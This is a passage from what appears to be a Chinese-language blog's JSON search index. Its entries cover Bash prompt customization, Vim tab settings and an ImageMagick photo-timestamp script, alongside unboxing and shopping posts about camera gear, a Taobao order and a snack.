中加入下面這行，可以在每次開啟終端機時，顯示一些有趣的內容：\n[[ \u0026#34;$PS1\u0026#34; ]] \u0026amp;\u0026amp; /usr/games/fortune | /usr/games/cowsay -n 判斷指令執行結果 這個命令提示字串可以依照上一個指令的執行結果來顯示不同的樣式：\nPS1=\u0026#34;\\`if [ \\$? = 0 ]; then echo \\[\\e[33m\\]^_^\\[\\e[0m\\]; else echo \\[\\e[31m\\]O_O\\[\\e[0m\\]; fi\\`[\\u@\\h:\\w]\\\\$ \u0026#34; 依據指令的執行結果改變顏色：\nPS1=\u0026#34;\\[\\033[0;33m\\][\\!]\\`if [[ \\$? = \u0026#34;0\u0026#34; ]]; then echo \u0026#34;\\\\[\\\\033[32m\\\\]\u0026#34;; else echo \u0026#34;\\\\[\\\\033[31m\\\\]\u0026#34;; fi\\`[\\u.\\h: \\`if [[ `pwd|wc -c|tr -d \u0026#34; \u0026#34;` \u0026gt; 18 ]]; then echo \u0026#34;\\\\W\u0026#34;; else echo \u0026#34;\\\\w\u0026#34;; fi\\`]\\$\\[\\033[0m\\] \u0026#34;; echo -ne \u0026#34;\\033]0;`hostname -s`:`pwd`\\007\u0026#34; 顯示目前目錄的檔案數量與大小 很實用的多行指令，可以顯示目前目錄的檔案數量與大小：\nPS1=\u0026#34;\\n\\[\\033[35m\\]\\$(/bin/date)\\n\\[\\033[32m\\]\\w\\n\\[\\033[1;31m\\]\\u@\\h: \\[\\033[1;34m\\]\\$(/usr/bin/tty | /bin/sed -e \u0026#39;s:/dev/::\u0026#39;): \\[\\033[1;36m\\]\\$(/bin/ls -1 | /usr/bin/wc -l | /bin/sed \u0026#39;s: ::g\u0026#39;) files \\[\\033[1;33m\\]\\$(/bin/ls -lah | /bin/grep -m 1 total | /bin/sed \u0026#39;s/total //\u0026#39;)b\\[\\033[0m\\] -\u0026gt; \\[\\033[0m\\]\u0026#34; 用顏色區分各種基本資訊 PS1=\u0026#34;\\[\\033[35m\\]\\t\\[\\033[m\\]-\\[\\033[36m\\]\\u\\[\\033[m\\]@\\[\\033[32m\\]\\h:\\[\\033[33;1m\\]\\w\\[\\033[m\\]\\$ \u0026#34; 顯示完整路徑 PS1=\u0026#34;[\\[\\033[32m\\]\\w]\\[\\033[0m\\]\\n\\[\\033[1;36m\\]\\u\\[\\033[1;33m\\]-\u0026gt; \\[\\033[0m\\]\u0026#34; 顯示背景工作數量 PS1=\u0026#39;\\[\\e[1;32m\\]\\u@\\H:\\[\\e[m\\] \\[\\e[1;37m\\]\\w\\[\\e[m\\]\\n\\[\\e[1;33m\\]hist:\\! \\[\\e[0;33m\\] \\[\\e[1;31m\\]jobs:\\j \\$\\[\\e[m\\] \u0026#39; ","permalink":"https://blog.gtwang.org/linux/how-to-make-a-fancy-and-useful-bash-prompt-in-linux-2/","summary":"\u003cp\u003e這裡敘述了一些命令提示字串的進階用法，讓您可以自訂一些更特別的命令提示字串。\u003c/p\u003e\n\u003cp\u003e在上一篇\u003ca href=\"/linux/how-to-make-a-fancy-and-useful-bash-prompt-in-linux-1/\"\u003e命令提示字串的基本教學\u003c/a\u003e中，我們介紹了一些最基本的命令提示字串設定方式，以下我們再進一步說明如何利用 \u003ccode\u003etput\u003c/code\u003e 來控制文字樣式，另外也蒐集了許多好用的範例，如果不想自己慢慢自訂命令提示字串的人，可以從這裡找一個自己喜歡的來使用。\u003c/p\u003e","title":"自訂 Linux 的 Bash Shell 命令提示字串 Prompt（二）：進階格式"},{"content":"這是從日本買回來的名代の味三色豆煎餅，拍照紀念一下。\n最近有朋友去日本，回來之後送我這一盒日本買的名產「名代の味三色豆煎餅」，難得有機會吃到，就順便拍個照紀錄一下。\n這一盒三色豆煎餅外包裝用的材質是紙盒，設計得很漂亮。\n裡面有三種煎餅，分別是落花生、黑豆與青大豆，每種口味四片，總共十二片。\n這個煎餅的料很多，吃起來很香，泡茶時拿來當茶點很適合，當然小朋友也很愛吃。\n","permalink":"https://blog.gtwang.org/unboxing/japan-three-color-cookie/","summary":"\u003cp\u003e這是從日本買回來的名代の味三色豆煎餅，拍照紀念一下。\u003c/p\u003e\n\u003cp\u003e最近有朋友去日本，回來之後送我這一盒日本買的名產「名代の味三色豆煎餅」，難得有機會吃到，就順便拍個照紀錄一下。\u003c/p\u003e","title":"名代の味三色豆煎餅：日本名產，高級茶點"},{"content":"Coverr 提供了許多美化網站首頁用的免費影片，使用這些影片可以讓您的首頁看起來更專業。\n以往的網站背景大都是以靜態的圖型為主，而現在由於網路速度大幅提升，再加上 HTML5 的技術，已經有越來越多的網站直接使用影片來作為網站的背景，這樣的效果完全不同於過去的網站，看起來會非常吸引人。\n而要作為一個網站背景用的影片，通常影片的解析度要比較高，但是影片的畫質卻不需要很好，甚至有點霧霧的反而效果更好，例如用大光圈的鏡頭脫焦後拍攝的影片就很適合，而在色彩方面也不可以太鮮艷，否則背景太鮮艷也會搶去主體的焦點。\nCoverr 是一個可以免費下載這類影片的網站，這個網站每個禮拜一都會提供七個新的影片給大家免費下載，如果不想自己拍攝影片的人，就可以從這個網站上來下載。\n名稱：Coverr\n網址：https://coverr.co/\nCoverr 網站中提供了各種類別的影片，包含 Food、Mood、Nature、Tech、Artsy、People、Urban 與 Animals，使用者可以依照自己的需求選擇適合的影片。\n選擇自己想要使用的影片後，可以直接下載影片檔或是在線上先預覽影片的效果。\n點選「See it as a Coverr」之後，就可以立即在 Coverr 的網頁上看到該影片作為背景的呈現感覺，使用者可以透過這樣的方式很直覺的選擇適合自己網站風格的背景影片。\n當然下載影片之後，還必須修改網頁的程式碼，將影片放進自己的網頁中才行，Coverr 也很貼心的準備了簡單的 HTML、CSS 與 JavaScript 語法教學，只要按照這裡的範例程式碼來修改，使用者就可以快速建立出高品質的網站首頁。\n","permalink":"https://blog.gtwang.org/web-development/coverr-beautiful-free-videos-for-your-homepage/","summary":"\u003cp\u003eCoverr 提供了許多美化網站首頁用的免費影片，使用這些影片可以讓您的首頁看起來更專業。\u003c/p\u003e\n\u003cp\u003e以往的網站背景大都是以靜態的圖型為主，而現在由於網路速度大幅提升，再加上 HTML5 的技術，已經有越來越多的網站直接使用影片來作為網站的背景，這樣的效果完全不同於過去的網站，看起來會非常吸引人。\u003c/p\u003e","title":"Coverr：免費下載美化網站首頁用的影片"},{"content":"這裡記錄了我第一次上掏寶網買東西的經驗。\n最近因為拍攝照片，需要採買一些道具，而有些東西在台灣的拍賣網站找不到，或是售價太高，所以我就嘗試從掏寶網上面來買，但因為以前完全沒有從國外買過實體的東西，所以第一次也不敢買太貴的，所以想說只挑了一些比較便宜的，不容易摔壞的東西來買，萬一搞砸的話也就算了。\n掏寶網看起來跟台灣的拍賣網站也都差不多，註冊帳號之後，就可以下訂單，然後用信用卡或是 ATM 轉帳來結帳，不過在第一次使用前要先透過玉山銀行驗證身份。\n比較不太一樣的是運送問題，因為貨物從中國大陸運到台灣，運費會分為兩段，一段是大陸內部的運費，另一段是國際段運費，一般掏寶上面標示的免運費都只是免大路段運費，國際運費還是要收的。而結帳時則有分為直送與合單集運，其中的區別可以參考掏寶網的說明。\n我第一次買東西時，選擇合單集運，以為真的免運費，結果反而讓貨物更慢送達，而國際運費還是要自己付，我買了 65.23 元人民幣的東西，運費就付掉了 54 元人民幣，國際段運費真的很貴！不過運費雖然貴，但是他的運送速度真的很快，我從下訂到我達到貨，只花了一週的時間，如果不是像我這樣選成合單集運的方式，應該還會更快，這種速度跟台灣的拍賣網站也差不多了。\n這是我收到貨品的樣子。\n東西是從安徽省的合肥寄來的，中間經過深圳才送到台灣，算一算應該是跑了快兩千公里了。\n外箱是用很厚的多層瓦楞紙，裡面有報紙填塞。\n雖然外箱看起來殘破不堪，不過裡面的貨品沒什麼影響。\n貨品狀況良好，易碎物品也包裝得非常仔細。\n這次從掏寶網買的東西，除了運費比較貴之外，我是感覺都很滿意，可能也跟賣家有關係，這個賣家包裝貨物也真的很專業。\n","permalink":"https://blog.gtwang.org/life/buying-from-taobao/","summary":"\u003cp\u003e這裡記錄了我第一次上掏寶網買東西的經驗。\u003c/p\u003e\n\u003cp\u003e最近因為拍攝照片，需要採買一些道具，而有些東西在台灣的拍賣網站找不到，或是售價太高，所以我就嘗試從掏寶網上面來買，但因為以前完全沒有從國外買過實體的東西，所以第一次也不敢買太貴的，所以想說只挑了一些比較便宜的，不容易摔壞的東西來買，萬一搞砸的話也就算了。\u003c/p\u003e","title":"上掏寶網買東西的過程紀錄"},{"content":"這裡記錄如何在 Vim 編輯器中，設定讓 tab 鍵自動轉換為空白字元。\n程式碼的排版對於程式的可閱讀性是相當重要的，如果需要將程式碼貼在自己慣用的編輯器以外的地方，就有可能會因為不同編輯器的 tab 寬度不同，而破壞了原來排版好的程式碼。\n因為比較大型的程式時常會有很多層的迴圈或是判斷式，如果 tab 的寬度使用預設的 4 個字元寬的話，時常就會讓整個程式碼因為縮排太多變得很難閱讀（應該程式設計師都會有這樣的經驗），所以我都是習慣將 tab 的寬度設定為 2 個字元寬，在 Vim 中就是設定 tabstop 這個變數：\n:set tabstop=2 這樣 tab 鍵就不會太寬：\n但是因為一般的編輯器預設的 tab 寬度都是 4 個字元寬，所以如果換一個編輯器來開啟同這個檔案的話，就很容易出現這樣的狀況：\n因為 tab 字元的顯示寬度不同，就造成排版的錯亂。\n若要避免這樣的狀況，可以將 tab 直接轉換為等寬的空白，這樣不管貼到哪一個編輯器，都可以維持原有的排版。首先設定 expandtab：\n:set expandtab 在 expandtab 設定之後，後續輸入的 tab 字元就會自動轉為等效的空白字元，但是既有的 tab 字元還是維持不變，若要將既有的 tab 字元一併轉換，則需要執行：\n:retab 另外還要再設定一下排版用的 shiftwidth：\n:set shiftwidth=2 shiftwidth 是設定縮排的寬度，通常都是設定成跟 tabstop 相同的值。\n您可以直接在 .vimrc 設定檔中加上一行設定，包含以上這些參數：\n:set tabstop=2 shiftwidth=2 expandtab 這樣以後在編輯程式碼的時候，就不需要煩惱排版與空白問題了。\n程式碼的 tab 經過轉換為空白之後，在使用別的編輯器開啟時，也可以維持原來的排版：\n參考資料 wikia ","permalink":"https://blog.gtwang.org/linux/vim-convert-tab-to-space-character/","summary":"\u003cp\u003e這裡記錄如何在 Vim 編輯器中，設定讓 tab 鍵自動轉換為空白字元。\u003c/p\u003e\n\u003cp\u003e程式碼的排版對於程式的可閱讀性是相當重要的，如果需要將程式碼貼在自己慣用的編輯器以外的地方，就有可能會因為不同編輯器的 tab 寬度不同，而破壞了原來排版好的程式碼。\u003c/p\u003e","title":"將 Vim 中程式碼排版的 Tab 字元轉為等寬的空白字元"},{"content":"這裡介紹如何在 Linux 系統中使用 ImageMagick 來在照片上加入拍攝日期與時間的標示。\n現在的數位相機或是手機在拍攝相片時，都會將拍攝時的各種參數寫入照片的 EXIF 資訊中，這中間當然也包含了拍攝的日期與時間，雖然我們可以使用各種的看圖軟體來取出這些資訊，但是如果您要將照片沖洗出來時，可能就會需要將日期與時間直接印在照片上。\n如果只是一兩張照片，您可以用人工的方式，使用照片編輯軟體直接打上日期與時間，但是如果照片的數量很多的時候，人工就無法處理了，這時候我們可以使用 ImageMagick 配合簡單的 shell 指令搞，自動將照片 EXIF 資訊中的日期與時間取出來，然後印在照片上，這個方式在處理大量照片時非常方便。\n首先安裝 Imagemagick，若在 Ubuntu Linux 中可以使用 apt 安裝：\napt-get install imagemagick 使用 convert 指令在照片上加上日期與時間戳記：\n#!/bin/sh for img in *.jpg; do convert \u0026#34;$img\u0026#34; -gravity SouthEast -pointsize 48 -stroke \u0026#39;#000C\u0026#39; -strokewidth 2 -annotate +20+20 %[exif:DateTimeOriginal] -stroke none -fill white -annotate +20+20 %[exif:DateTimeOriginal] \u0026#34;time_$img\u0026#34;; done 這個指令稿會將目前目錄的照片（所有 *.jpg 檔）加上日期與時間戳記之後，在原本的檔案名稱之前加上 time_，然後另存成一個新的檔案。\n其中 gravity 參數可以指定文字的位置，指定為 SouthEast 可以讓時間戳記顯示在照片的右下角，如果您想要更改文字的位置，可以修改這個參數來調整，在 Imagemagick 的說明文件中有列出所有可以用的參數值。\npointsize 就是字型的大小，這個數值也是可以直接依照自己的需求調整的。\n這裡我們使用白色的文字來印上時間戳記，但是如果碰到照片剛好也是白色的時候，白色的字就會不明顯，甚至完全看不到，所以我們這裡是先印上灰色的陰影，在印上白色的字體，這樣就算遇到白色的照片，印上去的時間戳記還是可以看的到。\n在 pointsize 之後的三行 stroke、strokewidth 與 annotate 就是印上灰色陰影的指令參數，這個 stroke 可以指定陰影的顏色，而 strokewidth 則是可以調整陰影的寬度。\n而之後的三行 stroke、fill 與 annotate 則是用來指定文字樣式的參數，fill 可以調整文字的顏色，顏色的指定可以使用下面者幾種格式：\n-fill blue -fill \u0026#34;#ddddff\u0026#34; -fill \u0026#34;rgb(255,255,255)\u0026#34; 詳細用法可以參考 Imagemagick 的說明文件。\n最後的 \u0026quot;time_$img\u0026quot; 就是輸出的圖檔檔名，如果要使用自己的命名規則，就可以從這裡修改。\n以下我使用兩張照片做為示範，一張是深色的狀況，而另一張是淺色的：\n加上日期與時間戳記後，會像這樣：\n參考資料 superuser ImageMagick ","permalink":"https://blog.gtwang.org/linux/add-date-time-stamp-to-photos-using-imagemagick/","summary":"\u003cp\u003e這裡介紹如何在 Linux 系統中使用 ImageMagick 來在照片上加入拍攝日期與時間的標示。\u003c/p\u003e\n\u003cp\u003e現在的數位相機或是手機在拍攝相片時，都會將拍攝時的各種參數寫入照片的 EXIF 資訊中，這中間當然也包含了拍攝的日期與時間，雖然我們可以使用各種的看圖軟體來取出這些資訊，但是如果您要將照片沖洗出來時，可能就會需要將日期與時間直接印在照片上。\u003c/p\u003e","title":"使用 ImageMagick 在照片上加入拍攝日期與時間的標示"},{"content":"本篇是曼富圖 Manfrotto MKCOMPACTLT COMPACT 系列輕巧旅行五節腳架的開箱文。\n腳架是一般拍照常會用到的攝影器材，光有好相機沒有腳架，有時候也是很難拍出好照片的，而腳架便宜的很便宜，貴的也可以很貴，一開始買了一隻便宜的 Takara TMK-244B 球型雲台腳架，但是品質實在是沒辦法接受，所以後來就不敢隨便買那麼便宜的腳架了。\n而最近真的需要腳架來拍照了，早晚要買一隻，有了之前的經驗，所以也不敢隨便亂挑雜牌的，這次就從 Manfrotto 這個義大利的牌子中，選一隻價位比較低的 Manfrotto MKCOMPACTLT COMPACT 系列輕巧旅行五節腳架，PChome 賣 1980 元，而露天拍賣似乎可以找到 1800 元的價格，以下是簡單的開箱介紹。\n因為懶得比價了，所以就直接從 PChome 訂了。\n開箱。\n腳架的外盒有另外用一層塑膠袋封好。\n正成貿易公司貨，三年保固。\n這款腳架最大載重為 1.5 公斤，適合一般的傻瓜相機或是微單眼使用。\n這是腳架的袋子。\n這些是腳架、說明書與保證卡。\n球形雲台。\n雲台的另一面。\n鎖相機的螺絲接口。\n這是整隻腳架完全展開的樣子，約有 131 公分高。\n連腳架都有序號。\n這是雲台下方的樣子。\n腳底的橡皮。\n接上我的 O 家 E-PL6 微單眼加上 P 家的 25mm F1.4。\n背面的樣子。\n球型雲台在調整角度時很有彈性，操作上也很方便，只需要將紅色的鎖定把手鎖緊，就可以馬上固定相機的角度。\n因為這款腳架的價位是 COMPACT 系列中比較低的，所以雲台設計比較陽春，不過品質真的不錯，完全沒有塑膠味，我個人是很滿意這款腳架。\n","permalink":"https://blog.gtwang.org/unboxing/manfrotto-mkcompactlt-compact-unboxing/","summary":"\u003cp\u003e本篇是曼富圖 Manfrotto MKCOMPACTLT COMPACT 系列輕巧旅行五節腳架的開箱文。\u003c/p\u003e\n\u003cp\u003e腳架是一般拍照常會用到的攝影器材，光有好相機沒有腳架，有時候也是很難拍出好照片的，而腳架便宜的很便宜，貴的也可以很貴，一開始買了一隻便宜的 \u003ca href=\"/unboxing/takara-tmk-244b/\"\u003eTakara TMK-244B 球型雲台腳架\u003c/a\u003e，但是品質實在是沒辦法接受，所以後來就不敢隨便買那麼便宜的腳架了。\u003c/p\u003e","title":"[開箱] 曼富圖 Manfrotto MKCOMPACTLT COMPACT 系列輕巧旅行五節腳架"},{"content":"這裡簡單紀錄一下收藏家 PC-69 電子防潮箱的開箱過程。\n收藏家的防潮箱應該許多人都有在用，這兩天在 PChome 買了這一款 PC-69 電子防潮箱，簡單紀錄一下。\n開箱。\n裝在門上面的濕度計。\n中國製的。\n這款 PC-69 體積不大，放在桌子底下剛好。\n防潮箱買回來的時候，當然要先測試一下是否可以正常除濕，插電之後看看濕度是否會下降。\n因為濕度計指針下降的速度有點慢，再加上裡面紅色的燈亮一陣子就熄了，害我一度以為它壞了，緊張了一下，後來才知道當紅燈亮起時表示目前正在進行「排濕」這個動作，排濕的動作會大約持續 30 分鐘左右，而當紅燈不亮的時候則表示正在進行「吸濕」的動作，吸濕的過程大約為 4 至 5 個小時左右，吸濕動作結束後，又會繼續回到排濕動作，如此不斷的重複。\n所以防潮箱真正在除濕的時候，紅色的燈是不會亮的，我放著個小時之後，濕度計的指針就慢慢下降了，看起來一切正常，鬆了一口氣。\n","permalink":"https://blog.gtwang.org/unboxing/drytech-pc-69-elecotronic-dry-cabinett/","summary":"\u003cp\u003e這裡簡單紀錄一下收藏家 PC-69 電子防潮箱的開箱過程。\u003c/p\u003e\n\u003cp\u003e收藏家的防潮箱應該許多人都有在用，這兩天在 PChome 買了這一款 PC-69 電子防潮箱，簡單紀錄一下。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"drytech-pc-69-2\" loading=\"lazy\" src=\"/unboxing/drytech-pc-69-elecotronic-dry-cabinett/drytech-pc-69-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e開箱。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"drytech-pc-69-3\" loading=\"lazy\" src=\"/unboxing/drytech-pc-69-elecotronic-dry-cabinett/drytech-pc-69-3.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e裝在門上面的濕度計。\u003c/p\u003e","title":"[開箱] 收藏家 PC-69 電子防潮箱"},{"content":"如果您有多出來的手機螢幕保護貼，可以自己剪裁一下，用於相機的觸控螢幕上，這樣就不需要再買一張保護貼了。\n最近買了一台 Olympus E-PL6 微單眼相機，而這台相機有觸控螢幕，若沒有貼保護貼的話，螢幕可能會很容易刮傷，但因為我不是買最新的機型，而且又是水貨，所以就沒打算投資太多。\n剛好之前在買紅米手機配件的時候，它的保護貼有兩張，一張貼在手機上，所以剩下一張沒有用到，直接剪裁一下貼在這台相機上剛好，以下是自己 DIY 裁切保護貼的過程。\nStep 1\n把之前剩下的保護貼找出來。\nStep 2\n用尺量好相機的螢幕尺寸之後，在用奇異筆畫上裁切用的輔助線。\nStep 3\n畫好輔助線之後，確認一下尺寸是否吻合。\nStep 4\n用美工刀加上一隻鐵製的直尺來裁切，用尺對準裁切線，用力壓住後裁切，這樣才不會切歪掉。\n這是裁切下來的部分。\nStep 5\n確認一下大小是否剛好。\nStep 6\n用剪刀把邊角尖尖的部分稍微修剪一下，變成圓弧狀。\nStep 7\n撕下相機螢幕的塑膠膜。\nStep 8\n用試鏡布清潔一下螢幕。\nStep 9\n貼上剪裁好的保護貼。\nStep 10\n撕下保護貼的表層膜。\nStep 11\n大功告成。\nStep 12\n開機測試一下。\n雖然自己剪裁的保護貼不像外面買的那麼好用，再加上我的技術不夠好，貼上去的時候有些小氣泡，不過開機真正用起來，應該是沒太大差別，至少我是感覺這樣就已經很好用了，而且最重要的是這樣不需要花錢。\n","permalink":"https://blog.gtwang.org/diy/camera-screen-protector-diy/","summary":"\u003cp\u003e如果您有多出來的手機螢幕保護貼，可以自己剪裁一下，用於相機的觸控螢幕上，這樣就不需要再買一張保護貼了。\u003c/p\u003e\n\u003cp\u003e最近買了一台 \u003ca href=\"/unboxing/olympus-e-pl6-evil-camera-unboxing/\"\u003eOlympus E-PL6\u003c/a\u003e 微單眼相機，而這台相機有觸控螢幕，若沒有貼保護貼的話，螢幕可能會很容易刮傷，但因為我不是買最新的機型，而且又是水貨，所以就沒打算投資太多。\u003c/p\u003e","title":"[DIY] 手機螢幕保護貼剪裁後，給相機觸控螢幕用"},{"content":"本篇是 WINER VITA 活力系列 M03 相機側背包的簡單開箱文，這個輕便的相機包適合小台的相機或是微單眼。\n最近買了一台 Olympus E-PL6 與 Panasonic LEICA DG SUMMILUX 25mm F1.4 ASPH 定焦鏡，需要一個相機包來裝，因為不想背太大的包包，所以想找一個裝微單眼一機兩鏡的小包包，原本是考慮國家地理的專業相機包，但是實在太貴了，隨便都要以兩千以上，所以就從 udn shooping 上面選擇這款 WINER VITA M03，只要 480 元，而且免運費，超便宜。\n下定並且刷卡付款，兩天之後收到貨。\n打開外箱。\n這就是相機包。\n包包的狀況良好，只是外面的塑膠袋有些舊，不過因為很便宜，我也不在意這個。\n打開塑膠袋之後，包包的狀況非常的好，塑膠也沒有什麼怪味道，看起來非常滿意。\n這是掛牌，拉鍊是使用 YKK 的。\n包包的背面。\n包包的側面。\n包包的底部有兩片止滑塑膠墊。\n打開包包。\n這是包包內部的狀況，裡面還有附一條背帶。\n這是包包背面的小拉鍊口袋。\n包包背面下方有個小口袋，可以拉出包包的防水套。\n套上防水套的樣子。\n要上防水套後，背面的樣子。\n這是相機包的背帶。\n掛上背帶，看起來就很高級。\n拆掉一片隔層海綿墊，放進我的 E-PL6 與 14-42mm kit 鏡，再加一顆 Panasonic LEICA DG SUMMILUX 25mm F1.4 ASPH 定焦鏡，空間剛好，另外還有剩下一些小空隙可以放一些小雜物。若要放充電器應該也是可以塞的進去，不過我是不喜歡塞太多東西。\n目前我上 PChome 購物查詢 WINER 的相機包，價格都非常高，光是腰包就是六七百元，而楔石攝影怪兵器賣的這一款 WINER VITA M03 比較便宜，感覺上是因為代理商不一樣所致，原本的 WINER 是由樂因代理的，後來好像換成佳美能來代理，而樂因代理的 WINER 包包價格都很便宜，雖然可能是庫存，但是我還是感覺這價格非常划算。\n","permalink":"https://blog.gtwang.org/unboxing/winer-vita-m03-camera-bag/","summary":"\u003cp\u003e本篇是 WINER VITA 活力系列 M03 相機側背包的簡單開箱文，這個輕便的相機包適合小台的相機或是微單眼。\u003c/p\u003e\n\u003cp\u003e最近買了一台 \u003ca href=\"/unboxing/olympus-e-pl6-evil-camera-unboxing/\"\u003eOlympus E-PL6\u003c/a\u003e 與 \u003ca href=\"/unboxing/panasonic-leica-dg-summilux-25mm-f1-4-asph-unboxing/\"\u003ePanasonic LEICA DG SUMMILUX 25mm F1.4 ASPH 定焦鏡\u003c/a\u003e，需要一個相機包來裝，因為不想背太大的包包，所以想找一個裝微單眼一機兩鏡的小包包，原本是考慮國家地理的專業相機包，但是實在太貴了，隨便都要以兩千以上，所以就從 udn shooping 上面選擇這款 WINER VITA M03，只要 480 元，而且免運費，超便宜。\u003c/p\u003e","title":"[開箱] WINER VITA 活力系列 M03 相機側背包"},{"content":"這是我最近買鏡頭的時候，順便買的 Marumi DHG 多層鍍膜保護鏡，簡單記錄一下。\n最近買了一顆 Panasonic LEICA DG SUMMILUX 25mm F1.4 ASPH 萊卡認證定焦鏡，因為這顆鏡頭不便宜，當然要買一片保護鏡，以免刮傷鏡片。\n至於新買的 Olympus E-PL6 相機送的 14-42mm kit 鏡，參考 E-PL6 單機身的價格的話，算一算這顆鏡頭只值 800 元，都快跟保護鏡差不多了，我看裝保護鏡也沒意思，刮壞了直接換一顆鏡頭就好了。\n以下是我從億華買鏡頭的時候，順便買的 Marumi DHG Lens Protect 46mm 多層鍍膜保護鏡。\n包裝盒背面有雷射貼紙。\n「Made in Japan」，日本製的。\n最一般的 DHG 保護鏡。\n這是把保護鏡裝上 Panasonic LEICA DG SUMMILUX 25mm F1.4 ASPH 的樣子。\n蓋上鏡頭蓋。\n雖然億華是非常有信譽的商家，不過他的東西也不太便宜，我在選相機與鏡頭的時候，在價格上比較了很多商家，但是買保護鏡的時候，就忘記比價了，想說這種小東西在哪裡買應該沒太大差別，所以就順便跟鏡頭一起在億華買了，不過我後來後悔了。\n這片保護鏡在億華的價格是 600 元。\n同樣的東西在 PChome 賣 550 元。\n而 Yahoo 購物中心更便宜，促銷價 484 元，看到這裡我是真的傻眼，價格竟然差那麼多。\n不過已經買了，後悔也來不及了，只能說買東西還是要貨比三家。\n","permalink":"https://blog.gtwang.org/unboxing/marumi-dhg-lens-protect-unboxing/","summary":"\u003cp\u003e這是我最近買鏡頭的時候，順便買的 Marumi DHG 多層鍍膜保護鏡，簡單記錄一下。\u003c/p\u003e\n\u003cp\u003e最近買了一顆 \u003ca href=\"/unboxing/panasonic-leica-dg-summilux-25mm-f1-4-asph-unboxing/\"\u003ePanasonic LEICA DG SUMMILUX 25mm F1.4 ASPH 萊卡認證定焦鏡\u003c/a\u003e，因為這顆鏡頭不便宜，當然要買一片保護鏡，以免刮傷鏡片。\u003c/p\u003e","title":"[開箱] Marumi DHG Lens Protect 46mm 多層鍍膜保護鏡"},{"content":"本篇是 Panasonic LEICA DG SUMMILUX 25mm F1.4 ASPH 萊卡認證定焦鏡的開箱文。\n最近從集英堂買了一台 Olympus E-PL6，就是為了要用 Panasonic LEICA DG SUMMILUX 25mm F1.4 ASPH 這一顆定焦鏡頭，原本想說一併從集英堂買的，不過因為億華的價格跟集英堂只差了幾百塊，所以後來選擇從億華的 Yahoo 拍賣上買，感覺比較有保障，而且未來如果要賣的話，億華的水貨也會比較好賣。\n這顆鏡頭我也是一樣用 7-ELEVEN 宅配通貨到付款的方式購買，而且是同一天同一個時間訂的，剛好跟集英堂比較一下，看看兩家的出貨速度與品質。\n我下午從億華的 Yahoo 拍賣下標之後，當天晚上就出貨了，所以隔兩天就收到，出貨速度跟集英堂幾乎一模一樣。\n在包裝上，集英堂用的紙箱比較硬一些（紙箱的磅數比較重），感覺比較牢靠，而億華的外箱則是用一般的紙箱。\n在防衝撞的措施上，集英堂用的是保麗龍，而億華則是使用泡泡袋，我個人是覺得泡泡袋比較好。\n雖然用一般的紙箱，不過億華的泡泡袋包了好多層，所以讓我感覺很安心。\n這是鏡頭的外盒。\n打開外盒。\n首先看到的是億華平行輸入商品的保證書，這顆鏡頭億華保固一年。\n這是遮光罩與鏡頭袋。\n說明書。\n鏡頭的部分還有另外用泡泡袋包裝。\n打開泡泡袋，裡面還有一層不織布，包裝的很好。\n這一顆就是比我的 Olympus E-PL6 還要貴的 Panasonic LEICA DG SUMMILUX 25mm F1.4 ASPH 定焦鏡，因為大光圈加上畫質好，拍攝起來會讓背景有如奶油一樣溶化，所以俗稱「小奶」。\n這是鏡頭另外一面。\n「Made in Japan」日本製的。\n鏡頭前玉，有 LEICA 的字樣。\n鏡頭的後蓋。\n鏡頭的後玉。\n拿來跟 E-PL6 送的 M.ZUIKO DIGITAL 14-42mm F3.5-5.6 II R 變焦鏡比較一下，大小稍微大了一些，不過因為我的手掌很大，大一點對我來說也沒什麼關係。\n這是接上 Olympus E-PL6 機身的樣子。\n側面的樣子。\n正面的樣子。\n因為 E-PL6 的機身比較小，這顆鏡頭接上去就感覺很大，不過我是感覺還可以接受。\n這是開機的狀況。\n這裡我是用 Olympus 的機身接 Panasonic 的鏡頭，對焦速度我是感覺也是很快，可能因為我用舊的 Olympus E520 用習慣了，用現在新的相機都感覺對焦超快，快門半按還沒回過神就對到焦了，果然該換相機的時候了。\n由於這顆鏡頭比較高檔，都比整台相機還要貴了，所以我同時也買了一片 Marumi DHG 多層鍍膜保護鏡，以免不小心刮傷，使用起來也比較放心。\n以下是幾張用 Olympus E-PL6 接 Panasonic 25mm F1.4 拍的照片。\n","permalink":"https://blog.gtwang.org/unboxing/panasonic-leica-dg-summilux-25mm-f1-4-asph-unboxing/","summary":"\u003cp\u003e本篇是 Panasonic LEICA DG SUMMILUX 25mm F1.4 ASPH 萊卡認證定焦鏡的開箱文。\u003c/p\u003e\n\u003cp\u003e最近\u003ca href=\"/unboxing/olympus-e-pl6-evil-camera-unboxing/\"\u003e從集英堂買了一台 Olympus E-PL6\u003c/a\u003e，就是為了要用 Panasonic LEICA DG SUMMILUX 25mm F1.4 ASPH 這一顆定焦鏡頭，原本想說一併從集英堂買的，不過因為億華的價格跟集英堂只差了幾百塊，所以後來選擇從億華的 Yahoo 拍賣上買，感覺比較有保障，而且未來如果要賣的話，億華的水貨也會比較好賣。\u003c/p\u003e","title":"[開箱] Panasonic LEICA DG SUMMILUX 25mm F1.4 ASPH 萊卡認證定焦鏡（小奶鏡頭）"},{"content":"本篇是 Olympus 微單眼相機 E-PL6 機身加上 M.ZUIKO DIGITAL 14-42mm F3.5-5.6 II R 單鏡組的開箱文。\n最近因為需要拍一些比較高品質的照片，想找一顆定焦鏡來拍攝，但是我的舊相機 Olympus E520 是舊的 4/3 系統，現在新的相機都已經全面採用 M4/3 了，所以實在不想買舊規格的鏡頭，而若要買 M4/3 的鏡頭，那就勢必要買一台 M4/3 的機身，這樣又要多花一筆很可觀的費用，所以考慮了很久。\n最後決定買一台比較便宜的 Olympus M4/3 機身，然後再配上定焦鏡來拍，畢竟我的 E520 是 2008 出產的，跟現在新的相機比起來，恐怕已經遜色不少了，就算是一萬元以下的微單眼，可能都比舊的 E520 好很多，而且我的那台 E520 相機已經服役很久了，快門數已經超過五萬，這時候來換個相機也不會感覺太可惜，反正我的舊鏡頭都是 kit 鏡。\n因為我不想要在機身上花太多錢，而且我的需求也不高，不需要最新款的機身，所以預算希望控制在一萬以內，上網找了好久，PCHome、Yahoo!奇摩購物中心、露天拍賣、億華、相機王、集英堂等等，從公司或看到水貨，最後決定從集英堂買了一台全新的 Olympus E-PL6 微單眼相機配上一顆 M.ZUIKO DIGITAL 14-42mm F3.5-5.6 II R 變焦鏡，總共是 11,000 元，會選擇集英堂的原因大家應該都知道，就是價格很便宜，然後這款 E-PL6 